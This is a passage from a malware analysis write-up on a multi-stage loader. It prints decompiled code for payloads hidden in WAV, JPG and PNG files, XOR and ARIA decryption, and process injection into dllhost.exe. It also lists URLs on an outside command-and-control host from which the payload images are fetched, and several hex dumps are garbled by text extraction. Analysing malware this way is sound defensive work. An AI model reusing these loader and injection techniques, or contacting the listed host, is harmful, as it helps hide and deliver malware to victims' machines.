zero_buffer(&functions_list, 0x4Cu);
result = load wininet_functions(v2, (int (__stdcall **)(char *))&functions_list, func_checksums);
if ( result )
{
  copy_16_bytes(buf, &crypt_key);
                                                // copy the crypto key
  result = download_from_url(v2, &functions_list, buf, &module_size);
  wav_buf = (_BYTE *)result;
  if ( result )
  {
    if ( *(_BYTE *)result == 'R'
                                                // check the WAV header
      && *(_BYTE *)(result + 1) == 'I'
      && *(_BYTE *)(result + 2) == 'F'
      && *(_BYTE *)(result + 3) == 'F'
      && *(_DWORD *)(result + 4) + 8 <= module_size
      && *(_BYTE *)(result + 8) == 'W'
      && *(_BYTE *)(result + 0xA) == 'V'
      && *(_BYTE *)(result + 0x24) == 'd'
      && *(_BYTE *)(result + 0x26) == 't' )
    {
      mSize = *(_DWORD *)(result + 0x28);
```

As we already suspected, the data of the WAV (starting from the offset 0x2C) contains the encrypted content. Indeed, blocks that are 8 bytes long are decrypted in a loop:

```
module size = *(( DWORD *)wav buf + 0xA);
if ( wav buf != ( BYTE *)0xFFFFFD4 )
{
  if ( !(mSize & 7) )
  {
    chunk ptr = wav buf + 0x2C;
    crypt_init((int)&crypt_ctx, &crypt_key, 16);
    mSize = module size;
    v23 = 0;
    if ( module size )
    {
      do
      ł
        crypt_block((int)&crypt_ctx, chunk_ptr, chunk_ptr);
        v23 += 8;
        mSize = module size;
        chunk ptr += 8;
      while ( v23 < module_size );</pre>
    }
  }
```

After the decryption is complete, the next module will be revealed. It is interesting to take a look at the expected header of the payload to learn which format is used for the output element. This time, the decoded data is supposed to start with the following magic numbers: 0x01, 0x04, ..., 0x10.

```
if ( mSize > 0x1C
  && *((_DWORD *)wav_buf + 0xE) <= mSize
  && wav_buf[0x2F] == 0x10
  && wav_buf[<mark>0x2C</mark>] == 1
                                    // start of the payload header
  && wav_buf[0x2D] == 4
  && mSize > *((_DWORD *)wav_buf + 0x10)
  && mSize > *((_DWORD *)wav_buf + 0xD)
  && !(wav_buf[0x3C] & 3) )
{
  allocated_buf = (_BYTE *)VirtualAlloc(0, mSize, 0x1000, 0x40);
  v23 = (unsigned int)allocated_buf;
  if ( allocated_buf )
  {
    new_module_ep = (void (__stdcall *)(unsigned int *))&allocated_buf[*((_DWORD *)wav_buf + 0xD)];
    copy_buffer(allocated_buf, wav_buf + 0x2C, module_size);
    v18 = wav_buf + 0x2C;
   v17 = v23;
                                    // _allocated_buffer
    v21 = 0;
    v19 = 0;
   v20 = 0;
                                    // call the decoded payload
    new module ep(&v17);
                                     17
   VirtualFree(v23, 0, 0x8000);
 }
}
```

The second WAV: an executable in proprietary format

On the illustration below, we can see how the data of the WAV looks after being decrypted (<u>9b37c9ec19a53007d450b9b9c8febbe2</u>):

02660000 52 49 46 46 C4 BE 00 00 57 41 56 45 66 60 74 20 RIFF-2URUEf 02660010 10 00 00 01 00 80 3E 00	Address	Hex dump			ASCII
02660000 06 30 B0 62 0D 35 D B6 93 10 CH 96 93 10 52 76 93 10 55 20 07 10 5 02660000 06 26 6B D3 F9 58 86 04 07 32 85 50 47 78 08 55 *, k£":X4•:2APG 02660000 11 45 15 4E 89 5F 87 29 8D AF D2 7D 4F 5B A8 63 4E3Në_£12*010 02660000 90 75 82 0D 23 32 A1 6F 3C CE EE 30 8E DA FD E2 £ué.#2io <ft0a 02660000 1F 8B 31 CF 27 75 8D CA 2E CF 8F 66 9E 33 69 87 ¶10'u2**,¤Cf× 02660100 1F 8B 31 CF 27 75 8D CA 2E CF 8F 66 9E 33 69 87 ¶10'u2**,¤Cf× 02660100 CE 40 94 05 10 C6 96 EB 8A A1 CD EC 79 AB 8F D2 10°0**</ft0a 	Address 02660010 02660010 02660020 02660020 02660020 02660050 02660050 02660050 02660050 02660050 02660050 02660050 02660050 02660100 02660100 026601100	Hex dump 52 49 46 46 10 00 00 00 00 02 00 10 00 00 1C 0A 74 00 10 00 1C 0A 74 00 10 00 1C 0A 74 00 10 00 66 24 6E 66 46 39 38 24 4B 5A 43 39 38 24 48 5A 43 39 6E 68 63 64 47 59 5C 49 80 B8 82 00 30 88 82 00 90 75 82 0D 58 3F 15 5A 91 75 88 31 CF 40 94 05	C4 BE 00 00 57 41 01 00 01 00 80 3E 64 61 74 61 A0 BE 00 00 00 00 00 98 66 00 00 00 00 00 26 66 00 00 00 00 00 67 7E 24 6E 66 66 06 97 66 BD 6B 9B 66 97 66 BD 6B 9B CA 96 99 BB 93 1C CA 96 99 5F B7 29 8D AF 93 5F B7 29 8D AF 23 32 A1 9 49 FE E5 27 75 8D CA 2E CF 97 0F 2C 38 07 CA	56 45 66 6D 74 20 00 00 00 7D 00 00 00 00 01 04 00 10 00 00 7D 06 00 10 00 00 7D 06 00 10 00 00 7D 06 00 01 00 00 7D 46 60 00 00 00 7D 46 60 00 00 14 4F 58 44 4F 00 08 00 48 4E 50 00 08 00 40 00 49 00 00 00 00 00 00 00 93 1C 5E 96 93 1C 55 50 47 7B 08 55 19 0E 2F 87	ASCII RIFF-2WAVEfmt

This is an executable component that is loaded into Internet Explorer. After it decodes the imports, it starts to look much more familiar:

We can see that it follows an analogical structure to the one described in last year's article.

This module is first executed within Internet Explorer. Then, it creates another process (dllhost.exe) in a suspended state:

02080079	8	<u>185 7</u>	CEE	FFF	F I	FO	FO	(. <mark>D</mark> I	HOR	D P	TR 1	881	LEB	Р-0	0.84	1								
02A80A7F	5	ğ. ,	···		. i	PUS	H EF	iΧ								-								
02A80A80	5	ģ.				PUS	ES ES	ŞĮ –																
02080081	6	ь 9 04				PUS	E3 Øs	24 24																
02A80A84	5	6 .			- i	PŬŠ	Ē	ŝi –																
02A80A85	5	ģ.				PUS	ES	ξĮ –																
02080087	8	5 185 8		FFF	E I	FOSI	FO	51 (<mark> </mark>	NOR	D P		88.	FER	Р-0	v 20	<u>c1</u>	eis.							
02A80A8D	5	6	-11 0			PUS	I ES	SI								<u> </u>	Т							
02A80A8E	5	<u>.</u>			_ <mark> </mark>	PUS	H EF	ηX.							~ ~		Ι.			~~ .	~			
02080095		-15-2 5СЙ	2001	H80	2	TES		UUKI XX-1	FOX	в	us:	LOX:	28	012	61		י	er	nel	32.1	Ure	sater	roces	ssw
02A80A97	lv ž	4 4D				ĴĒ (SHOP	RΤ (02A	80AI	E6													
•																								
Stack add	Inocc	-021	0019	20	CUN	AT CC	שחב	<i>"</i> C.		line	lows			tem	3211	SH L	lho	st.(exe	<i>"</i> ")	_			
LOVAOR AU	JT E D D	-021	- L L L L			1100										SOL								
EAX=0000	3001	-021		<i>.</i> .,		1100		· · ·						vern										
EAX=00000	0001 Hex	dump	HOIC			nce							5950			ASC								
EAX=00000 Address 02A80000	0001 Hex 01 0	<u>dump</u> 4 00	10	10	00	74	00	00	05	00	00	88	BE	00	00	ASC		t.	. + .	. łż				
EAX=00000 Address 02A80000 02A80010 02A80010	0001 Hex 01 0 70 0	-021	10	1C 18	00 88 25	74	00	0C 00	05 00	00	00	88 09	BE 00	00	00 00	ASC De.		t.	. + .	. łż	€			
EAX=00000 Address 02A80000 02A80010 02A80020 02A80020 02A80030	0001 Hex 01 0 70 0 6E 7 45 5	dump 4 00 6 00 4 64 2 4E	10 00 6C 45	1C 18 6C 4C	00 88 2E 33	74 00 64 32	00 00 6C 2E	0C 00 6C 64	05 00 00 60	00 00 00 6C	00 00 00 00	88 09 00	BE 00 26 0C	00 11 00	00 00 4B 08	B B D D E R D		t. dl łż				
EAX=0000 Address 02A80000 02A80010 02A80020 02A80020 02A80030 02A80030 02A80040	001 Hex 01 0 70 0 6E 7 45 5 00 4	dump 4 00 6 00 4 64 2 4E 1 44	10 00 6C 45 56	1C 18 6C 4C 41	00 88 2E 33 50	74 00 64 32	00 00 6C 2E 33	0C 00 6C 64 32	05 00 00 60 2E	00 00 00 60 64	00 00 00 00 00 60	88 09 00 00 60	BE 00 26 00 00	00 11 00 00	00 00 4B 08 08	ASC D∲. D∲. AC		t. dl 32.0 PI3	. ‡. 1 dll 2.d	.łż				
EAX=00000 Address 02A80000 02A80010 02A80020 02A80020 02A80030 02A80050 02A80050	001 Hex 01 0 70 0 6E 7 45 5 00 4 00 0	dump 4 00 6 00 4 64 2 4E 1 44 4 00	10 00 6C 45 56 43	1C 18 6C 4C 41 61	00 88 23 50 62	74 00 64 32 49 69	00 00 6C 2E 33 6E	0C 00 6C 64 32 65	05 00 60 2E 74	00 00 60 64 25	00 00 00 60 60 64	88 09 00 60 60	BE 00 26 00 60	00 11 00 00 00	00 00 4B 0B 00	ASC 0+. pt. ntc ERN .AC		t. dl 32.0	. ‡. 1 dll 2.d	.łż	к К			
EAX=00000 Address 02A80000 02A80020 02A80020 02A80030 02A8000 02A8000 02A80000 02A80000 02A800000000000000	0001 01 0 70 0 6E 7 45 5 00 4 00 0 00 0	dump 4 00 6 00 4 64 2 4E 1 44 4 00 9 06 0 00	10 00 45 56 43 00	1C 18 6C 4C 41 61 4D	00 B2 350 623 FA	74 00 64 32 49 56 80	00 00 6C 233 62 43 77	0C 00 6C 62 62 52 FØ	05 00 60 22 74 54 47	00 00 60 62 22 85	00 00 00 60 60 64 64 77	88 09 00 60 60 60 60 E4	BE 00 26 00 60 60 60	00 11 00 00 00 00 98	00 00 4B 00 00 77	ASC 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.	III III III III III III III III	t. dl 32.0 13: 5UC	. ‡ . dii 2.d RT.	.łż	•К К С С С			
EAX=00000 Address 02A80000 02A80020 02A80020 02A80020 02A80020 02A80020 02A80020 02A80020 02A80020 02A80020 02A80020 02A80020 02A80020	0001 Hex 01 0 6E 7 45 5 00 4 00 0 00 0 00 0 1B 3	dump 4 00 6 00 4 64 2 4E 1 44 4 00 0 06 0 00 B 8F	10 00 6C 45 56 43 00 77	1C 18 6C 4C 41 61 18 40	00 88 23 50 57 57 57 57 57 50 57 57 57 57 57 57 57 57 57 57 57 57 57	74 00 64 32 49 56 80 85	00 00 6C 233 643 77 77	0C 00 64 365 520 520	05 00 60 22 74 55	00 00 60 64 22E 8F 8F	00 00 00 60 64 64 77 77	88 09 00 6C 6C 6C 6C E4 C0	BE 00 26 00 60 60 43 53	00 11 00 00 00 98 8F	00 00 4B 00 00 77 77	ASC 04. pt. ntc ERN. .AC	211 • • • • • • • • • • • • • • • • • • •	t. dl 32. 0 13: 0 13: 0 13: 0 13: 0 13: 0 13: 0 13: 0 13: 0 13: 0 14: 14: 14: 14: 14: 14: 14: 14: 14: 14:	. ‡ . dii 2.d et. RT. -GC	.łż & dll dll wnu wnu				
EAX=00066 Address 02A80010 02A80010 02A80020 02A80020 02A80050 02A800	0001 Hex 01 0 70 0 6E 7 6E 7 6E 7 6E 7 6E 7 6E 7 6E 7 6E 7	dump 4 00 6 00 4 64 2 4E 1 44 0 06 0 00 B 8F 4 8F 0 00	10 00 45 43 00 777 777	1C 18 4C 41 4D 18 4D 18 4D 18 40 15	00 82 82 82 82 82 82 82 82 82 82 82 82 82	74 00 64 329 69 56 85 85 85 90	00 00 6C 233 623 643 777 777	00 00 664 652 50 80 80 80 80 80 80 80 80 80 80 80 80 80	05 00 00 224 54 55 51	00 00 64 22 85 85 95	00 00 00 60 64 64 77 77 77	88 09 00 60 60 60 60 60 60 60 78	BE 00 26 00 60 60 60 453 62	00 11 00 00 00 98 890	00 00 48 00 00 777 77	ASC 0+. p+. ntc ERN .AC .4: .4: .4: .4: .4: .4: .4: .4:	II IEL: IEL: OUAI Cal Cal Cal M* Sw@: Sw@:	t. 32.0 32.0 32.0 32.0 32.0 32.0 32.0 32.	.#. dll 2.d et. -GC -GC (\E	.łż & dll dll wnū wrS				
EAX=00066 Address 02A80010 02A80010 02A80020 02A80000 02A80000 02A80000 02A80000 02A80000 02A80000 02A80000 02A80000 02A80000 02A80000 02A80000 02A80000 02A80000 02A800000 02A800000 02A800000000 02A800000000000000000000000000000000000	0001 Hex 01 0 70 0 6E 7 6E 7 6E 7 6E 7 6E 7 60 0 00 0 00 0 00 0 00 0 00 0 00 0 00	dump 4 00 6 00 4 64 2 4E 4 00 0 06 0 08 8 8F 0 08 8 8F 3 00 8 8F 3 8F 3 8F 3 8F 3 8F 3 8F 3 8F 3 8F	10 00 45 43 00 77 77 77 77	1C 18 4C 41 4D 4B 40 18 40 18 40 18 40	008E3023565F5564C	74 04 349 58 85 85 85 85 85 85 85 85 85 85 85 85	00 00 62E 36E 43 777 777 777	000 000 000 000 000 000 000 000 000 00	05 00 60 274 57 50 47 55 41 20	00 00 60 60 60 60 80 80 80 80 80 80 80 80 80 80 80 80 80	00 00 00 60 60 64 777 777 777 777	88 09 00 6C 6C 6C 20 78 05	BE 00 26 00 6C 43 52 57 09	00 11 00 00 00 98 90 91 08	00 00 4B 00 00 77777 7777777777777777777	ASU 8 4. P2. ntc ERN .AU .4 1 1 1 1		t. 32.0 32.0 32.0 32.0 32.0 32.0 32.0 32.	+ dll 2.d et GC UC (\E	.łż % dll dll wnu wsbi				

It injects its original copy there (769a05f0eddd6ef2ebdd13618b244758):

dllhost	.exe (2	784)) Pro	per	ties																		
eneral	Statist	ics	Per	form	ance	T	hrea	ds	Toke	en	Mod	ules	s Me	emor	y I	Envir	onm	ent	Hand	dles	Com	nent	
✓ Hide	free re	gion	s																				
Base a	ddress			Т	ype						Siz	e I	Prote	ct	U	se							
⊳ 0x1	0000			P	rivat	e				1	28 ki	в	RW										
⊳ 0x3	30000			M	lappe	ed					16 ki	в	R										
⊳ 0x4	0000			P	rivat	e					4k	в	RW										
4 0x5	50000			N	lappe	ed					52 ki	в	RWX										
	0x5000	00		N	lanne	d: (Com.				52 ki	B	RWX										
0000	0000	01	04	00	10	1c	0a	74	00	0c	05	00	00	88	be	00	00	•••	t	· · · ·			-
0000	0000	20	04	00	10	10	0a	74	00	00	05	00	00	88	be	00	00		t		• • • •	••	<u> </u>
0000	0020	64	7e	6e	66	66	24	6e	66	66	00	00	00	00	26	00	41	d~n	ffsr	ff.		. A	
0000	0030	4f	58	44	4f	46	39	38	24	6e	66	66	00	00	0c	00	08	OXE	OF98	S\$nf	f		
0000	0040	00	4b	4e	5c	4b	5a	43	39	38	24	6e	66	66	00	00	0b	. KI	I/KZC	:98¢	nff.		
0000	0050	00	04	00	49	6b	68	63	64	6f	7e	24	6e	66	66	00	00		Ikho	cdo~	\$nff		
0000	0060	0a	00	06	00	47	59	5c	49	58	5e	24	6e	66	66	00	00		.GY	XIX^	\$nff		
0000	0070	00	00	00	00	8c	e7	ae	97	9f	66	bd	6b	9b	5c	88	0b			f	.k.\		
0000	0080	24	75	82	0d	30	b8	82	0d	9d	bb	93	1c	са	96	93	1c	\$u.	.0			••	
0000	0090	5e	96	93	1c	06	2e	6b	d3	f9	58	Ъб	04	07	32	b5	50	^··	}	cX	2	.P	
0000	00a0	47	7b	80	55	11	45	15	4e	89	5f	b7	29	8d	af	d2	7d	G{.	U.E.	N	•)••	• }	
0000	00b0	4f	5b	a8	63	90	75	82	0d	23	32	a1	6f	3c	ce	ee	30	0[.	c.u.	.#2	·•<·	.0	
0000	0000	8e	da	Id	eZ	58	3Í	15	5a	Ia	34	19	49	ie 2e	e5	19	0e	···	.X?.	Z.4	.1		
0000	0000	21	6/	as	1C	11	ממ	31	CI	21	15	5d	Câ	2e	CI	BI	00	/	1	L. 'U		.I	

Then it redirects execution to its loading function. Below, we can see the Entry Point of the implanted module within dllhost.exe.

🔆 Kerne	Mode - dllhost	.exe - [*G.P.U* - main	thread]	
C File	View Debug	Plugins Options	Window Help	
Paused	🗁 📢 🗙		¥ 🖬 → →	LEMTWHC/I
00050C50 00050C50 00050C61 00050C64 00050C65 00050C67 00050C67 00050C68 00050C68 00050C68 00050C68 00050C68 00050C68 00050C68	FF7424 08 FF5424 08 C2 0C00 55 8BEC 83EC 18 53 8B5D 18 56 :[0011F4EC]=00	PUSH DWORD CALL DWORD RETN 0xC PUSH EBP MOV EBP, 6x PUSH EBP MOV EBX, DW PUSH EST 05C69A	PTR SS:[ESP+0x8 PTR SS:[ESP+0x8 P 18 ORD PTR SS:[EBP+	0x18] implanted_module_ep
Address	Hex dump			ASCII
00050000 00050010 00050020 00050020 00050040 00050040 00050050 00050050 00050070 00050070 00050070 00050070	01 04 00 10 1 70 06 00 00 1 64 7E 6E 66 6 4F 58 44 4F 4 00 4B 4E 5C 4 00 04 00 49 6 00 00 00 00 8 24 75 82 0D 3 24 75 82 0D 3	C 0A 74 00 0C 05 0 8 B8 00 00 00 00 0 6 24 6E 66 66 00 0 6 39 38 24 6E 66 6 B 5A 43 39 38 24 6 B 68 63 64 6F 7E 2 7 59 5C 49 58 25 2 C E7 AE 97 9F 66 B 0 B8 82 00 9D BB 9 6 2E 6B D3 F9 58 B	3 00 88 BE 00 00 3 00 09 00 11 00 3 00 09 00 11 00 5 00 00 26 00 41 5 00 00 26 00 40 5 00 00 02 00 03 5 66 66 00 00 08 4 6E 66 66 00 00 0 6B 9B 5C 88 0B 0 6B 9B 5C 88 0B 0 6B 9B 5C 88 0B 3 1C CA 92 85 50	8

A detailed analysis of the execution flow of this module and its format will be given later in the article.

At this point, it is important to note that the dllhost.exe is the module that further downloads the aforementioned images.

The modules with the custom format

The module with the custom format is analogous to the one <u>described before</u>. However, we can see that it has significantly evolved.

There are changes in the header, as well as improvements in the implementation.

Changes in the custom format

The new header is similar to the <u>previous one</u>. The few details that have changed are: the magic number at the beginning (from 0x1000**03**01 to 0x1000**04**01), and the format in which the DLLs are stored (the length of a DLL name has been added). That's why we will refer to this format as "0x10000401 format."

Another change is that now the names of the DLLs are obfuscated by a simple XOR with 1 byte character. They are deobfuscated just before being loaded.

I 🚺 🖬 🚰		
003115D0		
003115D0	decode_	func_name:
003115D0	mov	cl, [esi+5]
003115DF	xor	[eax], cl
003115E1	. mov	ecx, [ebp+arg_0]
003115E4	movzx	edx, byte ptr [edi]
003115E7	inc	eax
003115E8	add	ecx, eax
003115E/	(cmp	ecx, edx
003115EC	.]b	short decode_func_name
	· ↓ ↓ ↓	
🞽 🖼		
3115EE		
3115EE loc_31	15EE:	
3115EE lea	eax, [edi+4]
3115F1 push	eax	; _DWORD
3115F2 call	ds:Loa	dLibraryA
3115F8 test	eax, ea	ax
	cur, c	
3115FA mov	[ebp+v	ar_10], eax

Summing up, we can visualize the new format in the following way:

Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	OF	Decoded text
00000000	01	04	00	10	1C	00	74	00	0C	05	00	00	88	BE	00	00	l
00000010	70	06	00	00	10	DO	00	00	100	00	00	00					p,
													09	9 00	0 1:	1 00	
00000020	64	7E	61	E 66	5 66	24	6E	66	66	5 00	00	00	: 00	2	6 0	0 41	d~nff\$nff&.A
00000030	4 F	58	44	4 4 E	e 46	39	38	24	6E	66	6	5 00	00	0 00	C 0	0 08	OXDOF98\$nff
00000040	00	4B	s 41	E 50	C 4E	5A	43	39	38	24	61	66	5 66	5 00	0 0	0 OB	.KN\KZC98\$nff
00000050	00	04	00	0 49	9 6E	68	63	64	6F	7E	24	61	66	5 60	5 O	0 00	Ikhcdo~\$nff
00000060	0A	00	0	6 00) 47	59	50	: 49	58	5E	24	61	66	5 60	5 O	0 00	GY\IX^\$nff
	00	00) 0(0 00)												
00000070					80	E7	AF	97	97	66	BI	0 61	3 91	3 50	C 8	8 0B	Śc®—źf″kა∖
00000080	24	75	8:	2 01	30	ва	82	OL	90	BB	93	3 10	: C7	4 90	6 9:	3 10	\$u0t»".E-".
00000090	5E	96	5 93	3 10	: 06	2E	6E	D3	F9	58	B	5 04	+ 07	7 32	2 B	5 50	^_``kÓůX¶2uF
••																	
00000180	87	FO	90	6 70	: 31		39	ог	C7	OF	E	31) F3	3 1 0	6 E	6 F5	‡d−1=.9.C.ŕ=ó.ćć
00000190	70	: во	31	E 88	EA	30	90	70		02				-		0 20	°>.e=ť
									64	A1	. 30	0 00	00	0 00	0 C :	3 56	dĭ0ĂV
000001A0	8B	40	; 24	4 08	8 8E	44	24	08	33	D2	83	3 C(14	1 38	8 5:	1 07	<l\$.<d\$.3ň.ŕ.8q.< td=""></l\$.<d\$.3ň.ŕ.8q.<>
000001B0	74	10	: 33	3 F6	5 39	51	10	88	51	. 07	70	5 12	2 8E	3 D(5 8:	3 E2	t.3ö9QQ.v.∢Ö.â
•• 0000B810	00 BF	00	00	00	00 E1	00	00	00	83	03	00	00	B2	03	00	00	ż
0000B830	24	04	00	00	2D	04	00	00	42	04	00	00	47	04	00	00	\$BG
000B840	55	04	00	00	61	04	00	00	8C	04	00	00	90	04	00	00	UaŚś
00008850	BF	04	00	00	CE	04	00	00	EE	04	00	00	FA	04	00	00	żÎîú
000B860	01	05	00	00	79	05	00	00	BO	05	00	00	B7	05	00	00	v
0000B870	BE	05	00	00	CA	05	00	00	DF	05	00	00	EA	05	00	00	IEBe
000B880	F2	05	00	00	51	06	00	00	63	06	00	00	74	06	00	00	ň0ct

HEADERS

DLLs

DLLs offset = 0x1C struct dll_record { WORD name_length, WORD functions_count, char name []; //XORed

IAT

IAT offset = 0x74

DWORD checksum[];

CODE

Entry Point = 0x050C

RELOCATIONS

Offset = 0xB818 Size = 0x0670

Module Size = 0xBE88

Obfuscation used

This time, authors decide to obfuscate all the strings used inside the module. Now all the strings are decoded just before use.

```
003107F5 lea
                 eax, [ebp-2CCh]
003107FB push
                 104h
                                  ; _DWORD
00310800 push
                 eax
                 offset unk 317830
00310801 push
00310806 call
                 decode memory
0031080B pop
                 ecx
                                  ; _DWORD
0031080C push
                 eax
0031080D call
                 ds:ExpandEnvironmentStringsW
```

Example: decoding the string before the use

The decoding algorithm is simple, based on XOR:

```
1 BYTE * cdecl decode memory( BYTE *input arr)
 2 {
 3
    _BYTE *output_arr; // eax
 4
    unsigned int indx; // esi
 5
    bool is finished; // zf
 6
 7
    output arr = input arr + 0x14;
 8
    if ( input arr[7] )
9
    {
10
      indx = 0;
     is finished = *(( DWORD *)input arr + 4) == 0;
11
12
      input arr[7] = 0;
                                                            The string-decoding algorithm
13
      if ( !is_finished )
14
      {
15
         do
16
         {
17
          output_arr[indx] ^= input_arr[(indx & 7) + 8];
18
          ++indx;
19
         }
20
        while ( indx < *((_DWORD *)input_arr + 4) );</pre>
21
      }
22
    }
    return output_arr;
23
24 }
```

Inside the images downloader

Let's look inside the first module in the 0x10000401 format that we encountered. This module is an initial stage, and its role is to download and unpack the other components. One such component is in a CAB format (that's why we can see the Cabinet.dll among the imported DLLs).

The role of this module is similar to the first "WASM" mentioned in our post a year ago. However, the current version is not only better protected, but also comes with some improvements. This time the downloaded content is hidden in the images. So, analyzing this element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:

```
[ebp+arg 0], eax
00311B58 mov
00311B5B push
                eax
00311B5C lea
                eax, [ebp+arg 0]
                offset base64_Str ; "SQBodHRwOi8vMzguNzUuMTM3Ljk6OTA4OC9wdWJ"
00311B5F push
00311B64 push
                eax
00311B65 push
                esi
00311B66 call
                base64 decode
00311B6B add
                esp, 10h
```

This string decodes to a list containing URLs of the PNG and JPG files that are going to be downloaded. For each sample, this set is unique. None of the URLs can be reused: the server gives a response only once. An example of a URL set:

```
http://38.75.137.9:9088/pubs/wiki.php?id=937a4eadd6f5a94b3738a58dcc79ca13
http://38.75.137.9:9088/images/captcha.png?
mod=attachment&u=357e27e8af72925144ec1db2421d0cc5&lt
http://38.75.137.9:9088/views/q5ul78uv4b4q8bg8d95canrsns.jpg
```

So, we can confirm that this module is the one responsible for downloading and processing the observed images. Indeed, inside we can find the functions responsible for their decoding.

Decoding the JPG

After the payload is retrieved, the JPG header is validated.

jz	loc_311F3C
cmp	byte ptr [ebx], 0FFh
jnz	invalid_payload
cmp	byte ptr [ebx+1], 0D8h
jnz	invalid_payload
cmp	word ptr [ebx+2], 0E0FFh
jnz	invalid_payload
cmp	byte ptr [ebx+6], 'J'
jnz	invalid_payload
cmp	byte ptr [ebx+7], 'F'
jnz	invalid_payload
cmp	byte ptr [ebx+8], 'I'
jnz	invalid_payload
cmp	byte ptr [ebx+9], 'F'
jnz	invalid_payload
cmp	byte ptr [ebx+0Ah], 0
jnz	invalid_payload
	jz cmp jnz cmp jnz cmp jnz cmp jnz cmp jnz cmp jnz

Then, the payload is decoded by simply using an XOR with the last byte. The decoded content is expected to start from the !rcx magic ID.



After decoding the content, the hash of the !rcx module is validated with the help of SHA256 hash. The valid hash is stored in the module's header and compared with the calculated hash of the file content.

00311D87 lea	eax, [esi+8]
00311D8A push	32
00311D8C push	eax
00311D8D lea	eax, [ebp+var_4C]
00311D90 push	eax
00311D91 mov	[ebp+arg_0], 40
00311D98 lea	edi, [esi+28h]
00311D9B call	j_memcpy
00311DA0 push	32
00311DA2 lea	eax, [esi+8]
00311DA5 push	0
00311DA7 push	eax
00311DA8 call	j_memset
00311DAD lea	eax, [ebp+var_BC]
00311DB3 push	eax
00311DB4 call	sha256_init
00311DB9 push	[ebp+var_4]
00311DBC lea	eax, [ebp+var_BC]
00311DC2 push	esi
00311DC3 push	eax
00311DC4 call	sha256_hash
00311DC9 lea	eax, [ebp+var_BC]
00311DCF push	eax
00311DD0 lea	eax, [esi+8]
00311DD3 push	eax
00311DD4 call	sha256_finish
00311DD9 lea	eax, [esi+8]
00311DDC push	32
00311DDE push	eax
00311DDF lea	eax, [ebp+var_4C]
00311DE2 push	eax
00311DE3 call	j_memcmp
00311DE8 add	esp, 3Ch

If the validation passed, the shellcode stored in the !rcx module is loaded. More details about the execution flow will be given later.

		V
🚺 🗹 🖼		
00311E1F		
00311E1F	loc_311E	1F: ; _DWORD
00311E1F	push	40h
00311E21	push	1000h ; _DWORD
00311E26	push	dword ptr [edi+8] ; _DWORD
00311E29	push	0 ; DWORD
00311E2B	call	ds: <mark>VirtualAlloc</mark>
00311E31	test	eax, eax
00311E33	mov	[ebp+shellcode_mem], eax
00311E36	jz	short loc_311E48
	1	
🚺 🚄		
00311E38	push	dword ptr [edi+8]
00311E3B	add	edi, 10h
00311E3E	push	edi
00311E3F	push	eax 🛛
00311E40	call	j_memcpy
00311E45	add	esp, 0Ch

The !rcx package has a simple header:

Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	OF	Decoded text	
00000000	21	72	63	78	EA	CF	01	00	1B	5C	78	03	D6	5E	3B	45	!rcxęĎ∖x.Ö^;E	Magic: !rcx
00000010	F8	F8	01	Ε6	ΕO	91	C5	16	18	ЗA	6C	38	0D	08	C5	55	řř.ćŕ`Ĺ:18ĹU	Size
00000020	DB	7E	74	8B	78	73	E7	10	B0	0C	00	00	00	00	00	00	Ű~t< xsç. °	0120
00000030	78	0C	00	00	00	00	00	00									x	SHA256
00000040	00	00	FR	04	00	00	00	0.5	31	C0	40	90	0F	84	56 88	05	1Ŕ@"V.	Code
00000050	30	00	00	00	52	51	50	56	FR	44	00	00	00	61	C3	88		
00000060	54	24	04	8B	44	24	oc	56	8B	74	24	oc	57	8D	3C	02	T\$. <d\$.v<t\$.wť<.< td=""><td></td></d\$.v<t\$.wť<.<>	
00000070	OF	Β7	02	42	42	83	F8	41	7C	08	83	F8	5A	7F	03	83	. ∙.BB.řA řZ	
00000080	C0	20	OF	Β7	0E	46	46	83	F9	41	7C	08	83	F9	5A	7F	Ŕ .∙.FF.ůA∣ůZ.	
00000090	03	83	C1	20	3B	D7	73	04	3B	C1	74	D4	5F	2B	C1	5E	Á ;×s.;ÁtÔ_+Á^	
000000A0	C3	55	8B	EC	83	EC	4C	8B	45	08	53	56	57	8B	70	0C	ĂU<ĕ.ĕL <e.svw<p.< td=""><td></td></e.svw<p.<>	
000000B0	6A	6C	58	33	C9	66	89	45	BE	66	89	45	C8	66	89	45	jlX3Éf%Elf%EČf%E	
00000000	CA	66	89	45	EE	66	89	45	FO	66	89	45	F6	66	89	45	Ef%Eîf%Edf%Eöf%E	

Decoding the PNG

Retrieving the content from the PNG is more complex.



"captcha.png" – the encrypted CAB file

First, after downloading, the PNG header is checked:

00311665	100 2110	
002110CE	100_2110	DUC:
003116CE	lea	eax, [ebp+var_8]
003116D1	push	8
003116D3	push	eax
003116D4	push	edi
003116D5	xor	esi, esi
003116D7	mov	[ebp+var_8], 89h
003116DB	mov	[ebp+var_7], 'P'
003116DF	mov	[ebp+var_6], 'N'
003116E3	mov	[ebp+var_5], 'G'
003116E7	mov	[ebp+var_4], 0Dh
003116EB	mov	[ebp+var_3], 0Ah
003116EF	mov	[ebp+var_2], 1Ah
003116F3	mov	[ebp+var_1], 0Ah
003116F7	call	j_memcmp
003116FC	add	esp, 0Ch

The function decoding the PNG has the following flow:

```
decoded_buf = 0;
33
     png_hdr = 0x89u;
34
     v13 = 'P';
35
     v14 = 'N';
36
     v15 = 'G';
37
    v16 = '\r';
38
     v17 = '\n';
39
40
     v18 = 26;
41
     v19 = 10;
42
     if ( !j_memcmp(payload, &png_hdr, 8) )
43
       decoded_buf = (_BYTE *)decode_from_png(payload, functions_list, &size);
44
     result = free(payload);
45
     if ( decoded buf )
 46
     {
       if ( !(size & 3) )
47
 48
       {
         buf_ptr = decoded buf;
49
50
         aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key_ptr);
         j_memset(aria_key_ptr + 4, 0, *(_DWORD *)aria_key_ptr);
51
52
         if ( size )
 53
         {
 54
           do
 55
           ł
56
             aria crypt round(&crypt ctx, buf ptr, buf ptr);
57
             index += 16;
58
             buf ptr += 16;
 59
           }
60
           while ( index < size );</pre>
 61
         if ( *decoded buf == 'M' && decoded buf[1] == 'S' && decoded buf[2] == 'C' && decoded buf[3] == 'F' )
62
 63
         {
           if ( unpack_cab(&v10, (int)decoded_buf, size) )
64
 65
           {
66
             module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb"
67
